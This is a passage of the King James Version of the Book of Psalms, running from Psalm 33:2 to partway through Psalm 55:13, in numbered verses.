Praise the LORD with harp: sing unto him with the psaltery and an +instrument of ten strings. + +33:3 Sing unto him a new song; play skilfully with a loud noise. + +33:4 For the word of the LORD is right; and all his works are done in +truth. + +33:5 He loveth righteousness and judgment: the earth is full of the +goodness of the LORD. + +33:6 By the word of the LORD were the heavens made; and all the host +of them by the breath of his mouth. + +33:7 He gathereth the waters of the sea together as an heap: he layeth +up the depth in storehouses. + +33:8 Let all the earth fear the LORD: let all the inhabitants of the +world stand in awe of him. + +33:9 For he spake, and it was done; he commanded, and it stood fast. + +33:10 The LORD bringeth the counsel of the heathen to nought: he +maketh the devices of the people of none effect. + +33:11 The counsel of the LORD standeth for ever, the thoughts of his +heart to all generations. + +33:12 Blessed is the nation whose God is the LORD; and the people whom +he hath chosen for his own inheritance. + +33:13 The LORD looketh from heaven; he beholdeth all the sons of men. + +33:14 From the place of his habitation he looketh upon all the +inhabitants of the earth. + +33:15 He fashioneth their hearts alike; he considereth all their +works. + +33:16 There is no king saved by the multitude of an host: a mighty man +is not delivered by much strength. + +33:17 An horse is a vain thing for safety: neither shall he deliver +any by his great strength. + +33:18 Behold, the eye of the LORD is upon them that fear him, upon +them that hope in his mercy; + +33:19 To deliver their soul from death, and to keep them alive in +famine. + +33:20 Our soul waiteth for the LORD: he is our help and our shield. + +33:21 For our heart shall rejoice in him, because we have trusted in +his holy name. + +33:22 Let thy mercy, O LORD, be upon us, according as we hope in thee. + + + +34:1 I will bless the LORD at all times: his praise shall continually +be in my mouth. + +34:2 My soul shall make her boast in the LORD: the humble shall hear +thereof, and be glad. + +34:3 O magnify the LORD with me, and let us exalt his name together. + +34:4 I sought the LORD, and he heard me, and delivered me from all my +fears. + +34:5 They looked unto him, and were lightened: and their faces were +not ashamed. + +34:6 This poor man cried, and the LORD heard him, and saved him out of +all his troubles. + +34:7 The angel of the LORD encampeth round about them that fear him, +and delivereth them. + +34:8 O taste and see that the LORD is good: blessed is the man that +trusteth in him. + +34:9 O fear the LORD, ye his saints: for there is no want to them that +fear him. + +34:10 The young lions do lack, and suffer hunger: but they that seek +the LORD shall not want any good thing. + +34:11 Come, ye children, hearken unto me: I will teach you the fear of +the LORD. + +34:12 What man is he that desireth life, and loveth many days, that he +may see good? + +34:13 Keep thy tongue from evil, and thy lips from speaking guile. + +34:14 Depart from evil, and do good; seek peace, and pursue it. + +34:15 The eyes of the LORD are upon the righteous, and his ears are +open unto their cry. + +34:16 The face of the LORD is against them that do evil, to cut off +the remembrance of them from the earth. + +34:17 The righteous cry, and the LORD heareth, and delivereth them out +of all their troubles. + +34:18 The LORD is nigh unto them that are of a broken heart; and +saveth such as be of a contrite spirit. + +34:19 Many are the afflictions of the righteous: but the LORD +delivereth him out of them all. + +34:20 He keepeth all his bones: not one of them is broken. + +34:21 Evil shall slay the wicked: and they that hate the righteous +shall be desolate. + +34:22 The LORD redeemeth the soul of his servants: and none of them +that trust in him shall be desolate. + + + +35:1 Plead my cause, O LORD, with them that strive with me: fight +against them that fight against me. + +35:2 Take hold of shield and buckler, and stand up for mine help. + +35:3 Draw out also the spear, and stop the way against them that +persecute me: say unto my soul, I am thy salvation. + +35:4 Let them be confounded and put to shame that seek after my soul: +let them be turned back and brought to confusion that devise my hurt. + +35:5 Let them be as chaff before the wind: and let the angel of the +LORD chase them. + +35:6 Let their way be dark and slippery: and let the angel of the LORD +persecute them. + +35:7 For without cause have they hid for me their net in a pit, which +without cause they have digged for my soul. + +35:8 Let destruction come upon him at unawares; and let his net that +he hath hid catch himself: into that very destruction let him fall. + +35:9 And my soul shall be joyful in the LORD: it shall rejoice in his +salvation. + +35:10 All my bones shall say, LORD, who is like unto thee, which +deliverest the poor from him that is too strong for him, yea, the poor +and the needy from him that spoileth him? + +35:11 False witnesses did rise up; they laid to my charge things that +I knew not. + +35:12 They rewarded me evil for good to the spoiling of my soul. + +35:13 But as for me, when they were sick, my clothing was sackcloth: I +humbled my soul with fasting; and my prayer returned into mine own +bosom. + +35:14 I behaved myself as though he had been my friend or brother: I +bowed down heavily, as one that mourneth for his mother. + +35:15 But in mine adversity they rejoiced, and gathered themselves +together: yea, the abjects gathered themselves together against me, +and I knew it not; they did tear me, and ceased not: + +35:16 With hypocritical mockers in feasts, they gnashed upon me with +their teeth. + +35:17 Lord, how long wilt thou look on? rescue my soul from their +destructions, my darling from the lions. + +35:18 I will give thee thanks in the great congregation: I will praise +thee among much people. + +35:19 Let not them that are mine enemies wrongfully rejoice over me: +neither let them wink with the eye that hate me without a cause. + +35:20 For they speak not peace: but they devise deceitful matters +against them that are quiet in the land. + +35:21 Yea, they opened their mouth wide against me, and said, Aha, +aha, our eye hath seen it. + +35:22 This thou hast seen, O LORD: keep not silence: O Lord, be not +far from me. + +35:23 Stir up thyself, and awake to my judgment, even unto my cause, +my God and my Lord. + +35:24 Judge me, O LORD my God, according to thy righteousness; and let +them not rejoice over me. + +35:25 Let them not say in their hearts, Ah, so would we have it: let +them not say, We have swallowed him up. + +35:26 Let them be ashamed and brought to confusion together that +rejoice at mine hurt: let them be clothed with shame and dishonour +that magnify themselves against me. + +35:27 Let them shout for joy, and be glad, that favour my righteous +cause: yea, let them say continually, Let the LORD be magnified, which +hath pleasure in the prosperity of his servant. + +35:28 And my tongue shall speak of thy righteousness and of thy praise +all the day long. + + + +36:1 The transgression of the wicked saith within my heart, that there +is no fear of God before his eyes. + +36:2 For he flattereth himself in his own eyes, until his iniquity be +found to be hateful. + +36:3 The words of his mouth are iniquity and deceit: he hath left off +to be wise, and to do good. + +36:4 He deviseth mischief upon his bed; he setteth himself in a way +that is not good; he abhorreth not evil. + +36:5 Thy mercy, O LORD, is in the heavens; and thy faithfulness +reacheth unto the clouds. + +36:6 Thy righteousness is like the great mountains; thy judgments are +a great deep: O LORD, thou preservest man and beast. + +36:7 How excellent is thy lovingkindness, O God! therefore the +children of men put their trust under the shadow of thy wings. + +36:8 They shall be abundantly satisfied with the fatness of thy house; +and thou shalt make them drink of the river of thy pleasures. + +36:9 For with thee is the fountain of life: in thy light shall we see +light. + +36:10 O continue thy lovingkindness unto them that know thee; and thy +righteousness to the upright in heart. + +36:11 Let not the foot of pride come against me, and let not the hand +of the wicked remove me. + +36:12 There are the workers of iniquity fallen: they are cast down, +and shall not be able to rise. + + + +37:1 Fret not thyself because of evildoers, neither be thou envious +against the workers of iniquity. + +37:2 For they shall soon be cut down like the grass, and wither as the +green herb. + +37:3 Trust in the LORD, and do good; so shalt thou dwell in the land, +and verily thou shalt be fed. + +37:4 Delight thyself also in the LORD: and he shall give thee the +desires of thine heart. + +37:5 Commit thy way unto the LORD; trust also in him; and he shall +bring it to pass. + +37:6 And he shall bring forth thy righteousness as the light, and thy +judgment as the noonday. + +37:7 Rest in the LORD, and wait patiently for him: fret not thyself +because of him who prospereth in his way, because of the man who +bringeth wicked devices to pass. + +37:8 Cease from anger, and forsake wrath: fret not thyself in any wise +to do evil. + +37:9 For evildoers shall be cut off: but those that wait upon the +LORD, they shall inherit the earth. + +37:10 For yet a little while, and the wicked shall not be: yea, thou +shalt diligently consider his place, and it shall not be. + +37:11 But the meek shall inherit the earth; and shall delight +themselves in the abundance of peace. + +37:12 The wicked plotteth against the just, and gnasheth upon him with +his teeth. + +37:13 The LORD shall laugh at him: for he seeth that his day is +coming. + +37:14 The wicked have drawn out the sword, and have bent their bow, to +cast down the poor and needy, and to slay such as be of upright +conversation. + +37:15 Their sword shall enter into their own heart, and their bows +shall be broken. + +37:16 A little that a righteous man hath is better than the riches of +many wicked. + +37:17 For the arms of the wicked shall be broken: but the LORD +upholdeth the righteous. + +37:18 The LORD knoweth the days of the upright: and their inheritance +shall be for ever. + +37:19 They shall not be ashamed in the evil time: and in the days of +famine they shall be satisfied. + +37:20 But the wicked shall perish, and the enemies of the LORD shall +be as the fat of lambs: they shall consume; into smoke shall they +consume away. + +37:21 The wicked borroweth, and payeth not again: but the righteous +sheweth mercy, and giveth. + +37:22 For such as be blessed of him shall inherit the earth; and they +that be cursed of him shall be cut off. + +37:23 The steps of a good man are ordered by the LORD: and he +delighteth in his way. + +37:24 Though he fall, he shall not be utterly cast down: for the LORD +upholdeth him with his hand. + +37:25 I have been young, and now am old; yet have I not seen the +righteous forsaken, nor his seed begging bread. + +37:26 He is ever merciful, and lendeth; and his seed is blessed. + +37:27 Depart from evil, and do good; and dwell for evermore. + +37:28 For the LORD loveth judgment, and forsaketh not his saints; they +are preserved for ever: but the seed of the wicked shall be cut off. + +37:29 The righteous shall inherit the land, and dwell therein for +ever. + +37:30 The mouth of the righteous speaketh wisdom, and his tongue +talketh of judgment. + +37:31 The law of his God is in his heart; none of his steps shall +slide. + +37:32 The wicked watcheth the righteous, and seeketh to slay him. + +37:33 The LORD will not leave him in his hand, nor condemn him when he +is judged. + +37:34 Wait on the LORD, and keep his way, and he shall exalt thee to +inherit the land: when the wicked are cut off, thou shalt see it. + +37:35 I have seen the wicked in great power, and spreading himself +like a green bay tree. + +37:36 Yet he passed away, and, lo, he was not: yea, I sought him, but +he could not be found. + +37:37 Mark the perfect man, and behold the upright: for the end of +that man is peace. + +37:38 But the transgressors shall be destroyed together: the end of +the wicked shall be cut off. + +37:39 But the salvation of the righteous is of the LORD: he is their +strength in the time of trouble. + +37:40 And the LORD shall help them, and deliver them: he shall deliver +them from the wicked, and save them, because they trust in him. + + + +38:1 O lord, rebuke me not in thy wrath: neither chasten me in thy hot +displeasure. + +38:2 For thine arrows stick fast in me, and thy hand presseth me sore. + +38:3 There is no soundness in my flesh because of thine anger; neither +is there any rest in my bones because of my sin. + +38:4 For mine iniquities are gone over mine head: as an heavy burden +they are too heavy for me. + +38:5 My wounds stink and are corrupt because of my foolishness. + +38:6 I am troubled; I am bowed down greatly; I go mourning all the day +long. + +38:7 For my loins are filled with a loathsome disease: and there is no +soundness in my flesh. + +38:8 I am feeble and sore broken: I have roared by reason of the +disquietness of my heart. + +38:9 Lord, all my desire is before thee; and my groaning is not hid +from thee. + +38:10 My heart panteth, my strength faileth me: as for the light of +mine eyes, it also is gone from me. + +38:11 My lovers and my friends stand aloof from my sore; and my +kinsmen stand afar off. + +38:12 They also that seek after my life lay snares for me: and they +that seek my hurt speak mischievous things, and imagine deceits all +the day long. + +38:13 But I, as a deaf man, heard not; and I was as a dumb man that +openeth not his mouth. + +38:14 Thus I was as a man that heareth not, and in whose mouth are no +reproofs. + +38:15 For in thee, O LORD, do I hope: thou wilt hear, O Lord my God. + +38:16 For I said, Hear me, lest otherwise they should rejoice over me: +when my foot slippeth, they magnify themselves against me. + +38:17 For I am ready to halt, and my sorrow is continually before me. + +38:18 For I will declare mine iniquity; I will be sorry for my sin. + +38:19 But mine enemies are lively, and they are strong: and they that +hate me wrongfully are multiplied. + +38:20 They also that render evil for good are mine adversaries; +because I follow the thing that good is. + +38:21 Forsake me not, O LORD: O my God, be not far from me. + +38:22 Make haste to help me, O Lord my salvation. + + + +39:1 I said, I will take heed to my ways, that I sin not with my +tongue: I will keep my mouth with a bridle, while the wicked is before +me. + +39:2 I was dumb with silence, I held my peace, even from good; and my +sorrow was stirred. + +39:3 My heart was hot within me, while I was musing the fire burned: +then spake I with my tongue, + +39:4 LORD, make me to know mine end, and the measure of my days, what +it is: that I may know how frail I am. + +39:5 Behold, thou hast made my days as an handbreadth; and mine age is +as nothing before thee: verily every man at his best state is +altogether vanity. + +Selah. + +39:6 Surely every man walketh in a vain shew: surely they are +disquieted in vain: he heapeth up riches, and knoweth not who shall +gather them. + +39:7 And now, Lord, what wait I for? my hope is in thee. + +39:8 Deliver me from all my transgressions: make me not the reproach +of the foolish. + +39:9 I was dumb, I opened not my mouth; because thou didst it. + +39:10 Remove thy stroke away from me: I am consumed by the blow of +thine hand. + +39:11 When thou with rebukes dost correct man for iniquity, thou +makest his beauty to consume away like a moth: surely every man is +vanity. Selah. + +39:12 Hear my prayer, O LORD, and give ear unto my cry; hold not thy +peace at my tears: for I am a stranger with thee, and a sojourner, as +all my fathers were. + +39:13 O spare me, that I may recover strength, before I go hence, and +be no more. + + + +40:1 I waited patiently for the LORD; and he inclined unto me, and +heard my cry. + +40:2 He brought me up also out of an horrible pit, out of the miry +clay, and set my feet upon a rock, and established my goings. + +40:3 And he hath put a new song in my mouth, even praise unto our God: +many shall see it, and fear, and shall trust in the LORD. + +40:4 Blessed is that man that maketh the LORD his trust, and +respecteth not the proud, nor such as turn aside to lies. + +40:5 Many, O LORD my God, are thy wonderful works which thou hast +done, and thy thoughts which are to us-ward: they cannot be reckoned +up in order unto thee: if I would declare and speak of them, they are +more than can be numbered. + +40:6 Sacrifice and offering thou didst not desire; mine ears hast thou +opened: burnt offering and sin offering hast thou not required. + +40:7 Then said I, Lo, I come: in the volume of the book it is written +of me, + +40:8 I delight to do thy will, O my God: yea, thy law is within my +heart. + +40:9 I have preached righteousness in the great congregation: lo, I +have not refrained my lips, O LORD, thou knowest. + +40:10 I have not hid thy righteousness within my heart; I have +declared thy faithfulness and thy salvation: I have not concealed thy +lovingkindness and thy truth from the great congregation. + +40:11 Withhold not thou thy tender mercies from me, O LORD: let thy +lovingkindness and thy truth continually preserve me. + +40:12 For innumerable evils have compassed me about: mine iniquities +have taken hold upon me, so that I am not able to look up; they are +more than the hairs of mine head: therefore my heart faileth me. + +40:13 Be pleased, O LORD, to deliver me: O LORD, make haste to help +me. + +40:14 Let them be ashamed and confounded together that seek after my +soul to destroy it; let them be driven backward and put to shame that +wish me evil. + +40:15 Let them be desolate for a reward of their shame that say unto +me, Aha, aha. + +40:16 Let all those that seek thee rejoice and be glad in thee: let +such as love thy salvation say continually, The LORD be magnified. + +40:17 But I am poor and needy; yet the Lord thinketh upon me: thou art +my help and my deliverer; make no tarrying, O my God. + + + +41:1 Blessed is he that considereth the poor: the LORD will deliver +him in time of trouble. + +41:2 The LORD will preserve him, and keep him alive; and he shall be +blessed upon the earth: and thou wilt not deliver him unto the will of +his enemies. + +41:3 The LORD will strengthen him upon the bed of languishing: thou +wilt make all his bed in his sickness. + +41:4 I said, LORD, be merciful unto me: heal my soul; for I have +sinned against thee. + +41:5 Mine enemies speak evil of me, When shall he die, and his name +perish? + +41:6 And if he come to see me, he speaketh vanity: his heart gathereth +iniquity to itself; when he goeth abroad, he telleth it. + +41:7 All that hate me whisper together against me: against me do they +devise my hurt. + +41:8 An evil disease, say they, cleaveth fast unto him: and now that +he lieth he shall rise up no more. + +41:9 Yea, mine own familiar friend, in whom I trusted, which did eat +of my bread, hath lifted up his heel against me. + +41:10 But thou, O LORD, be merciful unto me, and raise me up, that I +may requite them. + +41:11 By this I know that thou favourest me, because mine enemy doth +not triumph over me. + +41:12 And as for me, thou upholdest me in mine integrity, and settest +me before thy face for ever. + +41:13 Blessed be the LORD God of Israel from everlasting, and to +everlasting. Amen, and Amen. + + + +42:1 As the hart panteth after the water brooks, so panteth my soul +after thee, O God. + +42:2 My soul thirsteth for God, for the living God: when shall I come +and appear before God? + +42:3 My tears have been my meat day and night, while they continually +say unto me, Where is thy God? + +42:4 When I remember these things, I pour out my soul in me: for I had +gone with the multitude, I went with them to the house of God, with +the voice of joy and praise, with a multitude that kept holyday. + +42:5 Why art thou cast down, O my soul? and why art thou disquieted in +me? hope thou in God: for I shall yet praise him for the help of his +countenance. + +42:6 O my God, my soul is cast down within me: therefore will I +remember thee from the land of Jordan, and of the Hermonites, from the +hill Mizar. + +42:7 Deep calleth unto deep at the noise of thy waterspouts: all thy +waves and thy billows are gone over me. + +42:8 Yet the LORD will command his lovingkindness in the day time, and +in the night his song shall be with me, and my prayer unto the God of +my life. + +42:9 I will say unto God my rock, Why hast thou forgotten me? why go I +mourning because of the oppression of the enemy? + +42:10 As with a sword in my bones, mine enemies reproach me; while +they say daily unto me, Where is thy God? + +42:11 Why art thou cast down, O my soul? and why art thou disquieted +within me? hope thou in God: for I shall yet praise him, who is the +health of my countenance, and my God. + + + +43:1 Judge me, O God, and plead my cause against an ungodly nation: O +deliver me from the deceitful and unjust man. + +43:2 For thou art the God of my strength: why dost thou cast me off? +why go I mourning because of the oppression of the enemy? + +43:3 O send out thy light and thy truth: let them lead me; let them +bring me unto thy holy hill, and to thy tabernacles. + +43:4 Then will I go unto the altar of God, unto God my exceeding joy: +yea, upon the harp will I praise thee, O God my God. + +43:5 Why art thou cast down, O my soul? and why art thou disquieted +within me? hope in God: for I shall yet praise him, who is the health +of my countenance, and my God. + + + +44:1 We have heard with our ears, O God, our fathers have told us, +what work thou didst in their days, in the times of old. + +44:2 How thou didst drive out the heathen with thy hand, and plantedst +them; how thou didst afflict the people, and cast them out. + +44:3 For they got not the land in possession by their own sword, +neither did their own arm save them: but thy right hand, and thine +arm, and the light of thy countenance, because thou hadst a favour +unto them. + +44:4 Thou art my King, O God: command deliverances for Jacob. + +44:5 Through thee will we push down our enemies: through thy name will +we tread them under that rise up against us. + +44:6 For I will not trust in my bow, neither shall my sword save me. + +44:7 But thou hast saved us from our enemies, and hast put them to +shame that hated us. + +44:8 In God we boast all the day long, and praise thy name for ever. + +Selah. + +44:9 But thou hast cast off, and put us to shame; and goest not forth +with our armies. + +44:10 Thou makest us to turn back from the enemy: and they which hate +us spoil for themselves. + +44:11 Thou hast given us like sheep appointed for meat; and hast +scattered us among the heathen. + +44:12 Thou sellest thy people for nought, and dost not increase thy +wealth by their price. + +44:13 Thou makest us a reproach to our neighbours, a scorn and a +derision to them that are round about us. + +44:14 Thou makest us a byword among the heathen, a shaking of the head +among the people. + +44:15 My confusion is continually before me, and the shame of my face +hath covered me, + +44:16 For the voice of him that reproacheth and blasphemeth; by reason +of the enemy and avenger. + +44:17 All this is come upon us; yet have we not forgotten thee, +neither have we dealt falsely in thy covenant. + +44:18 Our heart is not turned back, neither have our steps declined +from thy way; + +44:19 Though thou hast sore broken us in the place of dragons, and +covered us with the shadow of death. + +44:20 If we have forgotten the name of our God, or stretched out our +hands to a strange god; + +44:21 Shall not God search this out? for he knoweth the secrets of the +heart. + +44:22 Yea, for thy sake are we killed all the day long; we are counted +as sheep for the slaughter. + +44:23 Awake, why sleepest thou, O Lord? arise, cast us not off for +ever. + +44:24 Wherefore hidest thou thy face, and forgettest our affliction +and our oppression? + +44:25 For our soul is bowed down to the dust: our belly cleaveth unto +the earth. + +44:26 Arise for our help, and redeem us for thy mercies' sake. + + + +45:1 My heart is inditing a good matter: I speak of the things which I +have made touching the king: my tongue is the pen of a ready writer. + +45:2 Thou art fairer than the children of men: grace is poured into +thy lips: therefore God hath blessed thee for ever. + +45:3 Gird thy sword upon thy thigh, O most mighty, with thy glory and +thy majesty. + +45:4 And in thy majesty ride prosperously because of truth and +meekness and righteousness; and thy right hand shall teach thee +terrible things. + +45:5 Thine arrows are sharp in the heart of the king's enemies; +whereby the people fall under thee. + +45:6 Thy throne, O God, is for ever and ever: the sceptre of thy +kingdom is a right sceptre. + +45:7 Thou lovest righteousness, and hatest wickedness: therefore God, +thy God, hath anointed thee with the oil of gladness above thy +fellows. + +45:8 All thy garments smell of myrrh, and aloes, and cassia, out of +the ivory palaces, whereby they have made thee glad. + +45:9 Kings' daughters were among thy honourable women: upon thy right +hand did stand the queen in gold of Ophir. + +45:10 Hearken, O daughter, and consider, and incline thine ear; forget +also thine own people, and thy father's house; + +45:11 So shall the king greatly desire thy beauty: for he is thy Lord; +and worship thou him. + +45:12 And the daughter of Tyre shall be there with a gift; even the +rich among the people shall intreat thy favour. + +45:13 The king's daughter is all glorious within: her clothing is of +wrought gold. + +45:14 She shall be brought unto the king in raiment of needlework: the +virgins her companions that follow her shall be brought unto thee. + +45:15 With gladness and rejoicing shall they be brought: they shall +enter into the king's palace. + +45:16 Instead of thy fathers shall be thy children, whom thou mayest +make princes in all the earth. + +45:17 I will make thy name to be remembered in all generations: +therefore shall the people praise thee for ever and ever. + + + +46:1 God is our refuge and strength, a very present help in trouble. + +46:2 Therefore will not we fear, though the earth be removed, and +though the mountains be carried into the midst of the sea; + +46:3 Though the waters thereof roar and be troubled, though the +mountains shake with the swelling thereof. Selah. + +46:4 There is a river, the streams whereof shall make glad the city of +God, the holy place of the tabernacles of the most High. + +46:5 God is in the midst of her; she shall not be moved: God shall +help her, and that right early. + +46:6 The heathen raged, the kingdoms were moved: he uttered his voice, +the earth melted. + +46:7 The LORD of hosts is with us; the God of Jacob is our refuge. +Selah. + +46:8 Come, behold the works of the LORD, what desolations he hath made +in the earth. + +46:9 He maketh wars to cease unto the end of the earth; he breaketh +the bow, and cutteth the spear in sunder; he burneth the chariot in +the fire. + +46:10 Be still, and know that I am God: I will be exalted among the +heathen, I will be exalted in the earth. + +46:11 The LORD of hosts is with us; the God of Jacob is our refuge. +Selah. + + + +47:1 O clap your hands, all ye people; shout unto God with the voice +of triumph. + +47:2 For the LORD most high is terrible; he is a great King over all +the earth. + +47:3 He shall subdue the people under us, and the nations under our +feet. + +47:4 He shall choose our inheritance for us, the excellency of Jacob +whom he loved. Selah. + +47:5 God is gone up with a shout, the LORD with the sound of a +trumpet. + +47:6 Sing praises to God, sing praises: sing praises unto our King, +sing praises. + +47:7 For God is the King of all the earth: sing ye praises with +understanding. + +47:8 God reigneth over the heathen: God sitteth upon the throne of his +holiness. + +47:9 The princes of the people are gathered together, even the people +of the God of Abraham: for the shields of the earth belong unto God: +he is greatly exalted. + + + +48:1 Great is the LORD, and greatly to be praised in the city of our +God, in the mountain of his holiness. + +48:2 Beautiful for situation, the joy of the whole earth, is mount +Zion, on the sides of the north, the city of the great King. + +48:3 God is known in her palaces for a refuge. + +48:4 For, lo, the kings were assembled, they passed by together. + +48:5 They saw it, and so they marvelled; they were troubled, and +hasted away. + +48:6 Fear took hold upon them there, and pain, as of a woman in +travail. + +48:7 Thou breakest the ships of Tarshish with an east wind. + +48:8 As we have heard, so have we seen in the city of the LORD of +hosts, in the city of our God: God will establish it for ever. Selah. + +48:9 We have thought of thy lovingkindness, O God, in the midst of thy +temple. + +48:10 According to thy name, O God, so is thy praise unto the ends of +the earth: thy right hand is full of righteousness. + +48:11 Let mount Zion rejoice, let the daughters of Judah be glad, +because of thy judgments. + +48:12 Walk about Zion, and go round about her: tell the towers +thereof. + +48:13 Mark ye well her bulwarks, consider her palaces; that ye may +tell it to the generation following. + +48:14 For this God is our God for ever and ever: he will be our guide +even unto death. + + + +49:1 Hear this, all ye people; give ear, all ye inhabitants of the +world: + +49:2 Both low and high, rich and poor, together. + +49:3 My mouth shall speak of wisdom; and the meditation of my heart +shall be of understanding. + +49:4 I will incline mine ear to a parable: I will open my dark saying +upon the harp. + +49:5 Wherefore should I fear in the days of evil, when the iniquity of +my heels shall compass me about? + +49:6 They that trust in their wealth, and boast themselves in the +multitude of their riches; + +49:7 None of them can by any means redeem his brother, nor give to God +a ransom for him: + +49:8 (For the redemption of their soul is precious, and it ceaseth for +ever:) + +49:9 That he should still live for ever, and not see corruption. + +49:10 For he seeth that wise men die, likewise the fool and the +brutish person perish, and leave their wealth to others. + +49:11 Their inward thought is, that their houses shall continue for +ever, and their dwelling places to all generations; they call their +lands after their own names. + +49:12 Nevertheless man being in honour abideth not: he is like the +beasts that perish. + +49:13 This their way is their folly: yet their posterity approve their +sayings. Selah. + +49:14 Like sheep they are laid in the grave; death shall feed on them; +and the upright shall have dominion over them in the morning; and +their beauty shall consume in the grave from their dwelling. + +49:15 But God will redeem my soul from the power of the grave: for he +shall receive me. Selah. + +49:16 Be not thou afraid when one is made rich, when the glory of his +house is increased; + +49:17 For when he dieth he shall carry nothing away: his glory shall +not descend after him. + +49:18 Though while he lived he blessed his soul: and men will praise +thee, when thou doest well to thyself. + +49:19 He shall go to the generation of his fathers; they shall never +see light. + +49:20 Man that is in honour, and understandeth not, is like the beasts +that perish. + + + +50:1 The mighty God, even the LORD, hath spoken, and called the earth +from the rising of the sun unto the going down thereof. + +50:2 Out of Zion, the perfection of beauty, God hath shined. + +50:3 Our God shall come, and shall not keep silence: a fire shall +devour before him, and it shall be very tempestuous round about him. + +50:4 He shall call to the heavens from above, and to the earth, that +he may judge his people. + +50:5 Gather my saints together unto me; those that have made a +covenant with me by sacrifice. + +50:6 And the heavens shall declare his righteousness: for God is judge +himself. Selah. + +50:7 Hear, O my people, and I will speak; O Israel, and I will testify +against thee: I am God, even thy God. + +50:8 I will not reprove thee for thy sacrifices or thy burnt +offerings, to have been continually before me. + +50:9 I will take no bullock out of thy house, nor he goats out of thy +folds. + +50:10 For every beast of the forest is mine, and the cattle upon a +thousand hills. + +50:11 I know all the fowls of the mountains: and the wild beasts of +the field are mine. + +50:12 If I were hungry, I would not tell thee: for the world is mine, +and the fulness thereof. + +50:13 Will I eat the flesh of bulls, or drink the blood of goats? + +50:14 Offer unto God thanksgiving; and pay thy vows unto the most +High: + +50:15 And call upon me in the day of trouble: I will deliver thee, and +thou shalt glorify me. + +50:16 But unto the wicked God saith, What hast thou to do to declare +my statutes, or that thou shouldest take my covenant in thy mouth? + +50:17 Seeing thou hatest instruction, and casteth my words behind +thee. + +50:18 When thou sawest a thief, then thou consentedst with him, and +hast been partaker with adulterers. + +50:19 Thou givest thy mouth to evil, and thy tongue frameth deceit. + +50:20 Thou sittest and speakest against thy brother; thou slanderest +thine own mother's son. + +50:21 These things hast thou done, and I kept silence; thou thoughtest +that I was altogether such an one as thyself: but I will reprove thee, +and set them in order before thine eyes. + +50:22 Now consider this, ye that forget God, lest I tear you in +pieces, and there be none to deliver. + +50:23 Whoso offereth praise glorifieth me: and to him that ordereth +his conversation aright will I shew the salvation of God. + + + +51:1 Have mercy upon me, O God, according to thy lovingkindness: +according unto the multitude of thy tender mercies blot out my +transgressions. + +51:2 Wash me throughly from mine iniquity, and cleanse me from my sin. + +51:3 For I acknowledge my transgressions: and my sin is ever before +me. + +51:4 Against thee, thee only, have I sinned, and done this evil in thy +sight: that thou mightest be justified when thou speakest, and be +clear when thou judgest. + +51:5 Behold, I was shapen in iniquity; and in sin did my mother +conceive me. + +51:6 Behold, thou desirest truth in the inward parts: and in the +hidden part thou shalt make me to know wisdom. + +51:7 Purge me with hyssop, and I shall be clean: wash me, and I shall +be whiter than snow. + +51:8 Make me to hear joy and gladness; that the bones which thou hast +broken may rejoice. + +51:9 Hide thy face from my sins, and blot out all mine iniquities. + +51:10 Create in me a clean heart, O God; and renew a right spirit +within me. + +51:11 Cast me not away from thy presence; and take not thy holy spirit +from me. + +51:12 Restore unto me the joy of thy salvation; and uphold me with thy +free spirit. + +51:13 Then will I teach transgressors thy ways; and sinners shall be +converted unto thee. + +51:14 Deliver me from bloodguiltiness, O God, thou God of my +salvation: and my tongue shall sing aloud of thy righteousness. + +51:15 O Lord, open thou my lips; and my mouth shall shew forth thy +praise. + +51:16 For thou desirest not sacrifice; else would I give it: thou +delightest not in burnt offering. + +51:17 The sacrifices of God are a broken spirit: a broken and a +contrite heart, O God, thou wilt not despise. + +51:18 Do good in thy good pleasure unto Zion: build thou the walls of +Jerusalem. + +51:19 Then shalt thou be pleased with the sacrifices of righteousness, +with burnt offering and whole burnt offering: then shall they offer +bullocks upon thine altar. + + + +52:1 Why boastest thou thyself in mischief, O mighty man? the goodness +of God endureth continually. + +52:2 The tongue deviseth mischiefs; like a sharp razor, working +deceitfully. + +52:3 Thou lovest evil more than good; and lying rather than to speak +righteousness. Selah. + +52:4 Thou lovest all devouring words, O thou deceitful tongue. + +52:5 God shall likewise destroy thee for ever, he shall take thee +away, and pluck thee out of thy dwelling place, and root thee out of +the land of the living. Selah. + +52:6 The righteous also shall see, and fear, and shall laugh at him: + +52:7 Lo, this is the man that made not God his strength; but trusted +in the abundance of his riches, and strengthened himself in his +wickedness. + +52:8 But I am like a green olive tree in the house of God: I trust in +the mercy of God for ever and ever. + +52:9 I will praise thee for ever, because thou hast done it: and I +will wait on thy name; for it is good before thy saints. + + + +53:1 The fool hath said in his heart, There is no God. Corrupt are +they, and have done abominable iniquity: there is none that doeth +good. + +53:2 God looked down from heaven upon the children of men, to see if +there were any that did understand, that did seek God. + +53:3 Every one of them is gone back: they are altogether become +filthy; there is none that doeth good, no, not one. + +53:4 Have the workers of iniquity no knowledge? who eat up my people +as they eat bread: they have not called upon God. + +53:5 There were they in great fear, where no fear was: for God hath +scattered the bones of him that encampeth against thee: thou hast put +them to shame, because God hath despised them. + +53:6 Oh that the salvation of Israel were come out of Zion! When God +bringeth back the captivity of his people, Jacob shall rejoice, and +Israel shall be glad. + + + +54:1 Save me, O God, by thy name, and judge me by thy strength. + +54:2 Hear my prayer, O God; give ear to the words of my mouth. + +54:3 For strangers are risen up against me, and oppressors seek after +my soul: they have not set God before them. Selah. + +54:4 Behold, God is mine helper: the Lord is with them that uphold my +soul. + +54:5 He shall reward evil unto mine enemies: cut them off in thy +truth. + +54:6 I will freely sacrifice unto thee: I will praise thy name, O +LORD; for it is good. + +54:7 For he hath delivered me out of all trouble: and mine eye hath +seen his desire upon mine enemies. + + + +55:1 Give ear to my prayer, O God; and hide not thyself from my +supplication. + +55:2 Attend unto me, and hear me: I mourn in my complaint, and make a +noise; + +55:3 Because of the voice of the enemy, because of the oppression of +the wicked: for they cast iniquity upon me, and in wrath they hate me. + +55:4 My heart is sore pained within me: and the terrors of death are +fallen upon me. + +55:5 Fearfulness and trembling are come upon me, and horror hath +overwhelmed me. + +55:6 And I said, Oh that I had wings like a dove! for then would I fly +away, and be at rest. + +55:7 Lo, then would I wander far off, and remain in the wilderness. +Selah. + +55:8 I would hasten my escape from the windy storm and tempest. + +55:9 Destroy, O Lord, and divide their tongues: for I have seen +violence and strife in the city. + +55:10 Day and night they go about it upon the walls thereof: mischief +also and sorrow are in the midst of it. + +55:11 Wickedness is in the midst thereof: deceit and guile depart not +from her streets. + +55:12 For it was not an enemy that reproached me; then I could have +borne it: neither was it he that hated me that did magnify himself +against me; then I would have hid myself from him: + +55:13 But it was 